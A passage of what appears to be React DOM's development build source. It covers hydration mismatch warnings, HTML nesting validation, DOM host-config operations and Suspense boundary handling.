        listenToNonDelegatedEvent('load', domElement);
        break;

      case 'details':
        // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the toggle event.
        listenToNonDelegatedEvent('toggle', domElement);
        break;

      case 'input':
        initWrapperState(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;

      case 'option':
        validateProps(domElement, rawProps);
        break;

      case 'select':
        initWrapperState$1(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;

      case 'textarea':
        initWrapperState$2(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
        // listeners still fire for the invalid event.

        listenToNonDelegatedEvent('invalid', domElement);
        break;
    }

    assertValidProps(tag, rawProps);

    {
      extraAttributeNames = new Set();
      var attributes = domElement.attributes;

      for (var _i = 0; _i < attributes.length; _i++) {
        var name = attributes[_i].name.toLowerCase();

        switch (name) {
          // Controlled attributes are not validated
          // TODO: Only ignore them on controlled tags.
          case 'value':
            break;

          case 'checked':
            break;

          case 'selected':
            break;

          default:
            // Intentionally use the original name.
            // See discussion in https://github.com/facebook/react/pull/10676.
            extraAttributeNames.add(attributes[_i].name);
        }
      }
    }

    var updatePayload = null;

    for (var propKey in rawProps) {
      if (!rawProps.hasOwnProperty(propKey)) {
        continue;
      }

      var nextProp = rawProps[propKey];

      if (propKey === CHILDREN) {
        // For text content children we compare against textContent. This
        // might match additional HTML that is hidden when we read it using
        // textContent. E.g. "foo" will match "f<span>oo</span>" but that still
        // satisfies our requirement. Our requirement is not to produce perfect
        // HTML and attributes. Ideally we should preserve structure but it's
        // ok not to if the visible content is still enough to indicate what
        // even listeners these nodes might be wired up to.
        // TODO: Warn if there is more than a single textNode as a child.
        // TODO: Should we use domElement.firstChild.nodeValue to compare?
        if (typeof nextProp === 'string') {
          if (domElement.textContent !== nextProp) {
            if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
              checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
            }

            updatePayload = [CHILDREN, nextProp];
          }
        } else if (typeof nextProp === 'number') {
          if (domElement.textContent !== '' + nextProp) {
            if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
              checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
            }

            updatePayload = [CHILDREN, '' + nextProp];
          }
        }
      } else if (registrationNameDependencies.hasOwnProperty(propKey)) {
        if (nextProp != null) {
          if ( typeof nextProp !== 'function') {
            warnForInvalidEventListener(propKey, nextProp);
          }

          if (propKey === 'onScroll') {
            listenToNonDelegatedEvent('scroll', domElement);
          }
        }
      } else if (shouldWarnDev && true && // Convince Flow we've calculated it (it's DEV-only in this method.)
      typeof isCustomComponentTag === 'boolean') {
        // Validate that the properties correspond to their expected values.
        var serverValue = void 0;
        var propertyInfo = isCustomComponentTag && enableCustomElementPropertySupport ? null : getPropertyInfo(propKey);

        if (rawProps[SUPPRESS_HYDRATION_WARNING] === true) ; else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING || // Controlled attributes are not validated
        // TODO: Only ignore them on controlled tags.
        propKey === 'value' || propKey === 'checked' || propKey === 'selected') ; else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
          var serverHTML = domElement.innerHTML;
          var nextHtml = nextProp ? nextProp[HTML$1] : undefined;

          if (nextHtml != null) {
            var expectedHTML = normalizeHTML(domElement, nextHtml);

            if (expectedHTML !== serverHTML) {
              warnForPropDifference(propKey, serverHTML, expectedHTML);
            }
          }
        } else if (propKey === STYLE) {
          // $FlowFixMe - Should be inferred as not undefined.
          extraAttributeNames.delete(propKey);

          if (canDiffStyleForHydrationWarning) {
            var expectedStyle = createDangerousStringForStyles(nextProp);
            serverValue = domElement.getAttribute('style');

            if (expectedStyle !== serverValue) {
              warnForPropDifference(propKey, serverValue, expectedStyle);
            }
          }
        } else if (isCustomComponentTag && !enableCustomElementPropertySupport) {
          // $FlowFixMe - Should be inferred as not undefined.
          extraAttributeNames.delete(propKey.toLowerCase());
          serverValue = getValueForAttribute(domElement, propKey, nextProp);

          if (nextProp !== serverValue) {
            warnForPropDifference(propKey, serverValue, nextProp);
          }
        } else if (!shouldIgnoreAttribute(propKey, propertyInfo, isCustomComponentTag) && !shouldRemoveAttribute(propKey, nextProp, propertyInfo, isCustomComponentTag)) {
          var isMismatchDueToBadCasing = false;

          if (propertyInfo !== null) {
            // $FlowFixMe - Should be inferred as not undefined.
            extraAttributeNames.delete(propertyInfo.attributeName);
            serverValue = getValueForProperty(domElement, propKey, nextProp, propertyInfo);
          } else {
            var ownNamespace = parentNamespace;

            if (ownNamespace === HTML_NAMESPACE) {
              ownNamespace = getIntrinsicNamespace(tag);
            }

            if (ownNamespace === HTML_NAMESPACE) {
              // $FlowFixMe - Should be inferred as not undefined.
              extraAttributeNames.delete(propKey.toLowerCase());
            } else {
              var standardName = getPossibleStandardName(propKey);

              if (standardName !== null && standardName !== propKey) {
                // If an SVG prop is supplied with bad casing, it will
                // be successfully parsed from HTML, but will produce a mismatch
                // (and would be incorrectly rendered on the client).
                // However, we already warn about bad casing elsewhere.
                // So we'll skip the misleading extra mismatch warning in this case.
                isMismatchDueToBadCasing = true; // $FlowFixMe - Should be inferred as not undefined.

                extraAttributeNames.delete(standardName);
              } // $FlowFixMe - Should be inferred as not undefined.


              extraAttributeNames.delete(propKey);
            }

            serverValue = getValueForAttribute(domElement, propKey, nextProp);
          }

          var dontWarnCustomElement = enableCustomElementPropertySupport  ;

          if (!dontWarnCustomElement && nextProp !== serverValue && !isMismatchDueToBadCasing) {
            warnForPropDifference(propKey, serverValue, nextProp);
          }
        }
      }
    }

    {
      if (shouldWarnDev) {
        if ( // $FlowFixMe - Should be inferred as not undefined.
        extraAttributeNames.size > 0 && rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
          // $FlowFixMe - Should be inferred as not undefined.
          warnForExtraAttributes(extraAttributeNames);
        }
      }
    }

    switch (tag) {
      case 'input':
        // TODO: Make sure we check if this is still unmounted or do any clean
        // up necessary since we never stop tracking anymore.
        track(domElement);
        postMountWrapper(domElement, rawProps, true);
        break;

      case 'textarea':
        // TODO: Make sure we check if this is still unmounted or do any clean
        // up necessary since we never stop tracking anymore.
        track(domElement);
        postMountWrapper$3(domElement);
        break;

      case 'select':
      case 'option':
        // For input and textarea we current always set the value property at
        // post mount to force it to diverge from attributes. However, for
        // option and select we don't quite do the same thing and select
        // is not resilient to the DOM state changing so we don't do that here.
        // TODO: Consider not doing this for input and textarea.
        break;

      default:
        if (typeof rawProps.onClick === 'function') {
          // TODO: This cast may not be sound for SVG, MathML or custom elements.
          trapClickOnNonInteractiveElement(domElement);
        }

        break;
    }

    return updatePayload;
  }
  function diffHydratedText(textNode, text, isConcurrentMode) {
    var isDifferent = textNode.nodeValue !== text;
    return isDifferent;
  }
  function warnForDeletedHydratableElement(parentNode, child) {
    {
      if (didWarnInvalidHydration) {
        return;
      }

      didWarnInvalidHydration = true;

      error('Did not expect server HTML to contain a <%s> in <%s>.', child.nodeName.toLowerCase(), parentNode.nodeName.toLowerCase());
    }
  }
  function warnForDeletedHydratableText(parentNode, child) {
    {
      if (didWarnInvalidHydration) {
        return;
      }

      didWarnInvalidHydration = true;

      error('Did not expect server HTML to contain the text node "%s" in <%s>.', child.nodeValue, parentNode.nodeName.toLowerCase());
    }
  }
  function warnForInsertedHydratedElement(parentNode, tag, props) {
    {
      if (didWarnInvalidHydration) {
        return;
      }

      didWarnInvalidHydration = true;

      error('Expected server HTML to contain a matching <%s> in <%s>.', tag, parentNode.nodeName.toLowerCase());
    }
  }
  function warnForInsertedHydratedText(parentNode, text) {
    {
      if (text === '') {
        // We expect to insert empty text nodes since they're not represented in
        // the HTML.
        // TODO: Remove this special case if we can just avoid inserting empty
        // text nodes.
        return;
      }

      if (didWarnInvalidHydration) {
        return;
      }

      didWarnInvalidHydration = true;

      error('Expected server HTML to contain a matching text node for "%s" in <%s>.', text, parentNode.nodeName.toLowerCase());
    }
  }
  function restoreControlledState$3(domElement, tag, props) {
    switch (tag) {
      case 'input':
        restoreControlledState(domElement, props);
        return;

      case 'textarea':
        restoreControlledState$2(domElement, props);
        return;

      case 'select':
        restoreControlledState$1(domElement, props);
        return;
    }
  }

  var validateDOMNesting = function () {};

  var updatedAncestorInfo = function () {};

  {
    // This validation code was written based on the HTML5 parsing spec:
    // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope
    //
    // Note: this does not catch all invalid nesting, nor does it try to (as it's
    // not clear what practical benefit doing so provides); instead, we warn only
    // for cases where the parser will give a parse tree differing from what React
    // intended. For example, <b><div></div></b> is invalid but we don't warn
    // because it still parses correctly; we do warn for other cases like nested
    // <p> tags where the beginning of the second element implicitly closes the
    // first, causing a confusing mess.
    // https://html.spec.whatwg.org/multipage/syntax.html#special
    var specialTags = ['address', 'applet', 'area', 'article', 'aside', 'base', 'basefont', 'bgsound', 'blockquote', 'body', 'br', 'button', 'caption', 'center', 'col', 'colgroup', 'dd', 'details', 'dir', 'div', 'dl', 'dt', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'iframe', 'img', 'input', 'isindex', 'li', 'link', 'listing', 'main', 'marquee', 'menu', 'menuitem', 'meta', 'nav', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'p', 'param', 'plaintext', 'pre', 'script', 'section', 'select', 'source', 'style', 'summary', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'track', 'ul', 'wbr', 'xmp']; // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope

    var inScopeTags = ['applet', 'caption', 'html', 'table', 'td', 'th', 'marquee', 'object', 'template', // https://html.spec.whatwg.org/multipage/syntax.html#html-integration-point
    // TODO: Distinguish by namespace here -- for <title>, including it here
    // errs on the side of fewer warnings
    'foreignObject', 'desc', 'title']; // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-button-scope

    var buttonScopeTags = inScopeTags.concat(['button']); // https://html.spec.whatwg.org/multipage/syntax.html#generate-implied-end-tags

    var impliedEndTags = ['dd', 'dt', 'li', 'option', 'optgroup', 'p', 'rp', 'rt'];
    var emptyAncestorInfo = {
      current: null,
      formTag: null,
      aTagInScope: null,
      buttonTagInScope: null,
      nobrTagInScope: null,
      pTagInButtonScope: null,
      listItemTagAutoclosing: null,
      dlItemTagAutoclosing: null
    };

    updatedAncestorInfo = function (oldInfo, tag) {
      var ancestorInfo = assign({}, oldInfo || emptyAncestorInfo);

      var info = {
        tag: tag
      };

      if (inScopeTags.indexOf(tag) !== -1) {
        ancestorInfo.aTagInScope = null;
        ancestorInfo.buttonTagInScope = null;
        ancestorInfo.nobrTagInScope = null;
      }

      if (buttonScopeTags.indexOf(tag) !== -1) {
        ancestorInfo.pTagInButtonScope = null;
      } // See rules for 'li', 'dd', 'dt' start tags in
      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody


      if (specialTags.indexOf(tag) !== -1 && tag !== 'address' && tag !== 'div' && tag !== 'p') {
        ancestorInfo.listItemTagAutoclosing = null;
        ancestorInfo.dlItemTagAutoclosing = null;
      }

      ancestorInfo.current = info;

      if (tag === 'form') {
        ancestorInfo.formTag = info;
      }

      if (tag === 'a') {
        ancestorInfo.aTagInScope = info;
      }

      if (tag === 'button') {
        ancestorInfo.buttonTagInScope = info;
      }

      if (tag === 'nobr') {
        ancestorInfo.nobrTagInScope = info;
      }

      if (tag === 'p') {
        ancestorInfo.pTagInButtonScope = info;
      }

      if (tag === 'li') {
        ancestorInfo.listItemTagAutoclosing = info;
      }

      if (tag === 'dd' || tag === 'dt') {
        ancestorInfo.dlItemTagAutoclosing = info;
      }

      return ancestorInfo;
    };
    /**
     * Returns whether
     */


    var isTagValidWithParent = function (tag, parentTag) {
      // First, let's check if we're in an unusual parsing mode...
      switch (parentTag) {
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inselect
        case 'select':
          return tag === 'option' || tag === 'optgroup' || tag === '#text';

        case 'optgroup':
          return tag === 'option' || tag === '#text';
        // Strictly speaking, seeing an <option> doesn't mean we're in a <select>
        // but

        case 'option':
          return tag === '#text';
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intd
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incaption
        // No special behavior since these rules fall back to "in body" mode for
        // all except special table nodes which cause bad parsing behavior anyway.
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intr

        case 'tr':
          return tag === 'th' || tag === 'td' || tag === 'style' || tag === 'script' || tag === 'template';
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intbody

        case 'tbody':
        case 'thead':
        case 'tfoot':
          return tag === 'tr' || tag === 'style' || tag === 'script' || tag === 'template';
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incolgroup

        case 'colgroup':
          return tag === 'col' || tag === 'template';
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intable

        case 'table':
          return tag === 'caption' || tag === 'colgroup' || tag === 'tbody' || tag === 'tfoot' || tag === 'thead' || tag === 'style' || tag === 'script' || tag === 'template';
        // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inhead

        case 'head':
          return tag === 'base' || tag === 'basefont' || tag === 'bgsound' || tag === 'link' || tag === 'meta' || tag === 'title' || tag === 'noscript' || tag === 'noframes' || tag === 'style' || tag === 'script' || tag === 'template';
        // https://html.spec.whatwg.org/multipage/semantics.html#the-html-element

        case 'html':
          return tag === 'head' || tag === 'body' || tag === 'frameset';

        case 'frameset':
          return tag === 'frame';

        case '#document':
          return tag === 'html';
      } // Probably in the "in body" parsing mode, so we outlaw only tag combos
      // where the parsing rules cause implicit opens or closes to be added.
      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody


      switch (tag) {
        case 'h1':
        case 'h2':
        case 'h3':
        case 'h4':
        case 'h5':
        case 'h6':
          return parentTag !== 'h1' && parentTag !== 'h2' && parentTag !== 'h3' && parentTag !== 'h4' && parentTag !== 'h5' && parentTag !== 'h6';

        case 'rp':
        case 'rt':
          return impliedEndTags.indexOf(parentTag) === -1;

        case 'body':
        case 'caption':
        case 'col':
        case 'colgroup':
        case 'frameset':
        case 'frame':
        case 'head':
        case 'html':
        case 'tbody':
        case 'td':
        case 'tfoot':
        case 'th':
        case 'thead':
        case 'tr':
          // These tags are only valid with a few parents that have special child
          // parsing rules -- if we're down here, then none of those matched and
          // so we allow it only if we don't know what the parent is, as all other
          // cases are invalid.
          return parentTag == null;
      }

      return true;
    };
    /**
     * Returns whether
     */


    var findInvalidAncestorForTag = function (tag, ancestorInfo) {
      switch (tag) {
        case 'address':
        case 'article':
        case 'aside':
        case 'blockquote':
        case 'center':
        case 'details':
        case 'dialog':
        case 'dir':
        case 'div':
        case 'dl':
        case 'fieldset':
        case 'figcaption':
        case 'figure':
        case 'footer':
        case 'header':
        case 'hgroup':
        case 'main':
        case 'menu':
        case 'nav':
        case 'ol':
        case 'p':
        case 'section':
        case 'summary':
        case 'ul':
        case 'pre':
        case 'listing':
        case 'table':
        case 'hr':
        case 'xmp':
        case 'h1':
        case 'h2':
        case 'h3':
        case 'h4':
        case 'h5':
        case 'h6':
          return ancestorInfo.pTagInButtonScope;

        case 'form':
          return ancestorInfo.formTag || ancestorInfo.pTagInButtonScope;

        case 'li':
          return ancestorInfo.listItemTagAutoclosing;

        case 'dd':
        case 'dt':
          return ancestorInfo.dlItemTagAutoclosing;

        case 'button':
          return ancestorInfo.buttonTagInScope;

        case 'a':
          // Spec says something about storing a list of markers, but it sounds
          // equivalent to this check.
          return ancestorInfo.aTagInScope;

        case 'nobr':
          return ancestorInfo.nobrTagInScope;
      }

      return null;
    };

    var didWarn$1 = {};

    validateDOMNesting = function (childTag, childText, ancestorInfo) {
      ancestorInfo = ancestorInfo || emptyAncestorInfo;
      var parentInfo = ancestorInfo.current;
      var parentTag = parentInfo && parentInfo.tag;

      if (childText != null) {
        if (childTag != null) {
          error('validateDOMNesting: when childText is passed, childTag should be null');
        }

        childTag = '#text';
      }

      var invalidParent = isTagValidWithParent(childTag, parentTag) ? null : parentInfo;
      var invalidAncestor = invalidParent ? null : findInvalidAncestorForTag(childTag, ancestorInfo);
      var invalidParentOrAncestor = invalidParent || invalidAncestor;

      if (!invalidParentOrAncestor) {
        return;
      }

      var ancestorTag = invalidParentOrAncestor.tag;
      var warnKey = !!invalidParent + '|' + childTag + '|' + ancestorTag;

      if (didWarn$1[warnKey]) {
        return;
      }

      didWarn$1[warnKey] = true;
      var tagDisplayName = childTag;
      var whitespaceInfo = '';

      if (childTag === '#text') {
        if (/\S/.test(childText)) {
          tagDisplayName = 'Text nodes';
        } else {
          tagDisplayName = 'Whitespace text nodes';
          whitespaceInfo = " Make sure you don't have any extra whitespace between tags on " + 'each line of your source code.';
        }
      } else {
        tagDisplayName = '<' + childTag + '>';
      }

      if (invalidParent) {
        var info = '';

        if (ancestorTag === 'table' && childTag === 'tr') {
          info += ' Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by ' + 'the browser.';
        }

        error('validateDOMNesting(...): %s cannot appear as a child of <%s>.%s%s', tagDisplayName, ancestorTag, whitespaceInfo, info);
      } else {
        error('validateDOMNesting(...): %s cannot appear as a descendant of ' + '<%s>.', tagDisplayName, ancestorTag);
      }
    };
  }

  var SUPPRESS_HYDRATION_WARNING$1 = 'suppressHydrationWarning';
  var SUSPENSE_START_DATA = '$';
  var SUSPENSE_END_DATA = '/$';
  var SUSPENSE_PENDING_START_DATA = '$?';
  var SUSPENSE_FALLBACK_START_DATA = '$!';
  var STYLE$1 = 'style';
  var eventsEnabled = null;
  var selectionInformation = null;
  function getRootHostContext(rootContainerInstance) {
    var type;
    var namespace;
    var nodeType = rootContainerInstance.nodeType;

    switch (nodeType) {
      case DOCUMENT_NODE:
      case DOCUMENT_FRAGMENT_NODE:
        {
          type = nodeType === DOCUMENT_NODE ? '#document' : '#fragment';
          var root = rootContainerInstance.documentElement;
          namespace = root ? root.namespaceURI : getChildNamespace(null, '');
          break;
        }

      default:
        {
          var container = nodeType === COMMENT_NODE ? rootContainerInstance.parentNode : rootContainerInstance;
          var ownNamespace = container.namespaceURI || null;
          type = container.tagName;
          namespace = getChildNamespace(ownNamespace, type);
          break;
        }
    }

    {
      var validatedTag = type.toLowerCase();
      var ancestorInfo = updatedAncestorInfo(null, validatedTag);
      return {
        namespace: namespace,
        ancestorInfo: ancestorInfo
      };
    }
  }
  function getChildHostContext(parentHostContext, type, rootContainerInstance) {
    {
      var parentHostContextDev = parentHostContext;
      var namespace = getChildNamespace(parentHostContextDev.namespace, type);
      var ancestorInfo = updatedAncestorInfo(parentHostContextDev.ancestorInfo, type);
      return {
        namespace: namespace,
        ancestorInfo: ancestorInfo
      };
    }
  }
  function getPublicInstance(instance) {
    return instance;
  }
  function prepareForCommit(containerInfo) {
    eventsEnabled = isEnabled();
    selectionInformation = getSelectionInformation();
    var activeInstance = null;

    setEnabled(false);
    return activeInstance;
  }
  function resetAfterCommit(containerInfo) {
    restoreSelection(selectionInformation);
    setEnabled(eventsEnabled);
    eventsEnabled = null;
    selectionInformation = null;
  }
  function createInstance(type, props, rootContainerInstance, hostContext, internalInstanceHandle) {
    var parentNamespace;

    {
      // TODO: take namespace into account when validating.
      var hostContextDev = hostContext;
      validateDOMNesting(type, null, hostContextDev.ancestorInfo);

      if (typeof props.children === 'string' || typeof props.children === 'number') {
        var string = '' + props.children;
        var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
        validateDOMNesting(null, string, ownAncestorInfo);
      }

      parentNamespace = hostContextDev.namespace;
    }

    var domElement = createElement(type, props, rootContainerInstance, parentNamespace);
    precacheFiberNode(internalInstanceHandle, domElement);
    updateFiberProps(domElement, props);
    return domElement;
  }
  function appendInitialChild(parentInstance, child) {
    parentInstance.appendChild(child);
  }
  function finalizeInitialChildren(domElement, type, props, rootContainerInstance, hostContext) {
    setInitialProperties(domElement, type, props, rootContainerInstance);

    switch (type) {
      case 'button':
      case 'input':
      case 'select':
      case 'textarea':
        return !!props.autoFocus;

      case 'img':
        return true;

      default:
        return false;
    }
  }
  function prepareUpdate(domElement, type, oldProps, newProps, rootContainerInstance, hostContext) {
    {
      var hostContextDev = hostContext;

      if (typeof newProps.children !== typeof oldProps.children && (typeof newProps.children === 'string' || typeof newProps.children === 'number')) {
        var string = '' + newProps.children;
        var ownAncestorInfo = updatedAncestorInfo(hostContextDev.ancestorInfo, type);
        validateDOMNesting(null, string, ownAncestorInfo);
      }
    }

    return diffProperties(domElement, type, oldProps, newProps);
  }
  function shouldSetTextContent(type, props) {
    return type === 'textarea' || type === 'noscript' || typeof props.children === 'string' || typeof props.children === 'number' || typeof props.dangerouslySetInnerHTML === 'object' && props.dangerouslySetInnerHTML !== null && props.dangerouslySetInnerHTML.__html != null;
  }
  function createTextInstance(text, rootContainerInstance, hostContext, internalInstanceHandle) {
    {
      var hostContextDev = hostContext;
      validateDOMNesting(null, text, hostContextDev.ancestorInfo);
    }

    var textNode = createTextNode(text, rootContainerInstance);
    precacheFiberNode(internalInstanceHandle, textNode);
    return textNode;
  }
  function getCurrentEventPriority() {
    var currentEvent = window.event;

    if (currentEvent === undefined) {
      return DefaultEventPriority;
    }

    return getEventPriority(currentEvent.type);
  }
  // if a component just imports ReactDOM (e.g. for findDOMNode).
  // Some environments might not have setTimeout or clearTimeout.

  var scheduleTimeout = typeof setTimeout === 'function' ? setTimeout : undefined;
  var cancelTimeout = typeof clearTimeout === 'function' ? clearTimeout : undefined;
  var noTimeout = -1;
  var localPromise = typeof Promise === 'function' ? Promise : undefined; // -------------------
  var scheduleMicrotask = typeof queueMicrotask === 'function' ? queueMicrotask : typeof localPromise !== 'undefined' ? function (callback) {
    return localPromise.resolve(null).then(callback).catch(handleErrorInNextTick);
  } : scheduleTimeout; // TODO: Determine the best fallback here.

  function handleErrorInNextTick(error) {
    setTimeout(function () {
      throw error;
    });
  } // -------------------
  function commitMount(domElement, type, newProps, internalInstanceHandle) {
    // Despite the naming that might imply otherwise, this method only
    // fires if there is an `Update` effect scheduled during mounting.
    // This happens if `finalizeInitialChildren` returns `true` (which it
    // does to implement the `autoFocus` attribute on the client). But
    // there are also other cases when this might happen (such as patching
    // up text content during hydration mismatch). So we'll check this again.
    switch (type) {
      case 'button':
      case 'input':
      case 'select':
      case 'textarea':
        if (newProps.autoFocus) {
          domElement.focus();
        }

        return;

      case 'img':
        {
          if (newProps.src) {
            domElement.src = newProps.src;
          }

          return;
        }
    }
  }
  function commitUpdate(domElement, updatePayload, type, oldProps, newProps, internalInstanceHandle) {
    // Apply the diff to the DOM node.
    updateProperties(domElement, updatePayload, type, oldProps, newProps); // Update the props handle so that we know which props are the ones with
    // with current event handlers.

    updateFiberProps(domElement, newProps);
  }
  function resetTextContent(domElement) {
    setTextContent(domElement, '');
  }
  function commitTextUpdate(textInstance, oldText, newText) {
    textInstance.nodeValue = newText;
  }
  function appendChild(parentInstance, child) {
    parentInstance.appendChild(child);
  }
  function appendChildToContainer(container, child) {
    var parentNode;

    if (container.nodeType === COMMENT_NODE) {
      parentNode = container.parentNode;
      parentNode.insertBefore(child, container);
    } else {
      parentNode = container;
      parentNode.appendChild(child);
    } // This container might be used for a portal.
    // If something inside a portal is clicked, that click should bubble
    // through the React tree. However, on Mobile Safari the click would
    // never bubble through the *DOM* tree unless an ancestor with onclick
    // event exists. So we wouldn't see it and dispatch it.
    // This is why we ensure that non React root containers have inline onclick
    // defined.
    // https://github.com/facebook/react/issues/11918


    var reactRootContainer = container._reactRootContainer;

    if ((reactRootContainer === null || reactRootContainer === undefined) && parentNode.onclick === null) {
      // TODO: This cast may not be sound for SVG, MathML or custom elements.
      trapClickOnNonInteractiveElement(parentNode);
    }
  }
  function insertBefore(parentInstance, child, beforeChild) {
    parentInstance.insertBefore(child, beforeChild);
  }
  function insertInContainerBefore(container, child, beforeChild) {
    if (container.nodeType === COMMENT_NODE) {
      container.parentNode.insertBefore(child, beforeChild);
    } else {
      container.insertBefore(child, beforeChild);
    }
  }

  function removeChild(parentInstance, child) {
    parentInstance.removeChild(child);
  }
  function removeChildFromContainer(container, child) {
    if (container.nodeType === COMMENT_NODE) {
      container.parentNode.removeChild(child);
    } else {
      container.removeChild(child);
    }
  }
  function clearSuspenseBoundary(parentInstance, suspenseInstance) {
    var node = suspenseInstance; // Delete all nodes within this suspense boundary.
    // There might be nested nodes so we need to keep track of how
    // deep we are and only break out when we're back on top.

    var depth = 0;

    do {
      var nextNode = node.nextSibling;
      parentInstance.removeChild(node);

      if (nextNode && nextNode.nodeType === COMMENT_NODE) {
        var data = nextNode.data;

        if (data === SUSPENSE_END_DATA) {
          if (depth === 0) {
            parentInstance.removeChild(nextNode); // Retry if any event replaying was blocked on this.

            retryIfBlockedOn(suspenseInstance);
            return;
          } else {
            depth--;
          }
        } else if (data === SUSPENSE_START_DATA || data === SUSPENSE_PENDING_START_DATA || data === SUSPENSE_FALLBACK_START_DATA) {
          depth++;
        }
      }

      node = nextNode;
    } while (node); // TODO: Warn, we didn't find the end comment boundary.
    // Retry if any event replaying was blocked on this.


    retryIfBlockedOn(suspenseInstance);
  }
  function clearSuspenseBoundaryFromContainer(container, suspenseInstance) {
    if (container.nodeType === COMMENT_NODE) {
      clearSuspenseBoundary(container.parentNode, suspenseInstance);
    } else if (container.nodeType === ELEMENT_NODE) {
      clearSuspenseBoundary(container, suspenseInstance);
    } // Retry if any event replaying was blocked on this.


    retryIfBlockedOn(container);
  }
  function hideInstance(instance) {
    // TODO: Does this work for all element types? What about MathML? Should we
    // pass host context to this method?
    instance = instance;
    var style = instance.style;

    if (typeof style.setProperty === 'function') {
      style.setProperty('display', 'none', 'important');
    } else {
      style.display = 'none';
    }
  }
  function hideTextInstance(textInstance) {
    textInstance.nodeValue = '';
  }
  function unhideInstance(instance, props) {
    instance = instance;
    var styleProp = props[STYLE$1];
    var display = styleProp !== undefined && styleProp !== null && styleProp.hasOwnProperty('display') ? styleProp.display : null;
    instance.style.display = dangerousStyleValue('display', display);
  }
  function unhideTextInstance(textInstance, text) {
    textInstance.nodeValue = text;
  }
  function clearContainer(container) {
    if (container.nodeType === ELEMENT_NODE) {
      container.textContent = '';
    } else if (container.nodeType === DOCUMENT_NODE) {
      if (container.documentElement) {
        container.removeChild(container.documentElement);
      }
    }
  } // -------------------
  function canHydrateInstance(instance, type, props) {
    if (instance.nodeType !== ELEMENT_NODE || type.toLowerCase() !== instance.nodeName.toLowerCase()) {
      return null;
    } // This has now been refined to an element node.


    return instance;
  }
  function canHydrateTextInstance(instance, text) {
    if (text === '' || instance.nodeType !== TEXT_NODE) {
      // Empty strings are not parsed by HTML so there won't be a correct match here.
      return null;
    } // This has now been refined to a text node.


    return instance;
  }
  function canHydrateSuspenseInstance(instance) {
    if (instance.nodeType !== COMMENT_NODE) {
      // Empty strings are not parsed by HTML so there won't be a correct match here.
      return null;
    } // This has now been refined to a suspense node.


    return instance;
  }
  function isSuspenseInstancePending(instance) {
    return instance.data === SUSPENSE_PENDING_START_DATA;
  }
  function isSuspenseInstanceFallback(instance) {
    return instance.data === SUSPENSE_FALLBACK_START_DATA;
  }
  function getSuspenseInstanceFallbackErrorDetails(instance) {
    var dataset = instance.nextSibling && instance.nextSibling.dataset;
    var digest, message, stack;

    if (dataset) {
      digest = dataset.dgst;

      {
        message = dataset.msg;
        stack = dataset.stck;
      }
    }

    {
      return {
        message: message,
        digest: digest,
        stack: stack
      };
    } // let value = {message: undefined, hash: undefined};
    // const nextSibling = instance.nextSibling;
    // if (nextSibling) {
    //   const dataset = ((nextSibling: any): HTMLTemplateElement).dataset;
    //   value.message = dataset.msg;
    //   value.hash = dataset.hash;
    //   if (true) {
    //     value.stack = dataset.stack;
    //   }
    // }
    // return value;

  }
  function registerSuspenseInstanceRetry(instance, callback) {
    instance._reactRetry = callback;
  }

  function getNextHydratable(node) {
    // Skip non-hydratable nodes.
    for (; node != null; node = node.nextSibling) {
      var nodeType = node.nodeType;

      if (nodeType === ELEMENT_NODE || nodeType === TEXT_NODE) {
        break;
      }

      if (nodeType === COMMENT_NODE) {
        var nodeData = node.data;

        if (nodeData === SUSPENSE_START_DATA || nodeData === SUSPENSE_FALLBACK_START_DATA || nodeData === SUSPENSE_PENDING_START_DATA) {
          break;
        }

        if (nodeData === SUSPENSE_END_DATA) {
          return null;
        }
      }
    }

    return node;
  }

  function getNextHydratableSibling(instance) {
    return getNextHydratable(instance.nextSibling);
  }
  function getFirstHydratableChild(parentInstance) {
    return getNextHydratable(parentInstance.firstChild);
  }
  function getFirstHydratableChildWithinContainer(parentContainer) {
    return getNextHydratable(parentContainer.firstChild);
  }
  function getFirstHydratableChildWithinSuspenseInstance(parentInstance) {
    return getNextHydratable(parentInstance.nextSibling);
  }
  function hydrateInstance(instance, type, props, rootContainerInstance, hostContext, internalInstanceHandle, shouldWarnDev) {
    precacheFiberNode(internalInstanceHandle, instance); // TODO: Possibly defer this until the commit phase where all the events
    // get attached.

    updateFiberProps(instance, props);
    var parentNamespace;

    {
      var hostContextDev = hostContext;
      parentNamespace = hostContextDev.namespace;
    } // TODO: Temporary hack to check if we're in a concurrent root. We can delete
    // when the legacy root API is removed.


    var isConcurrentMode = (internalInstanceHandle.mode & ConcurrentMode) !== NoMode;
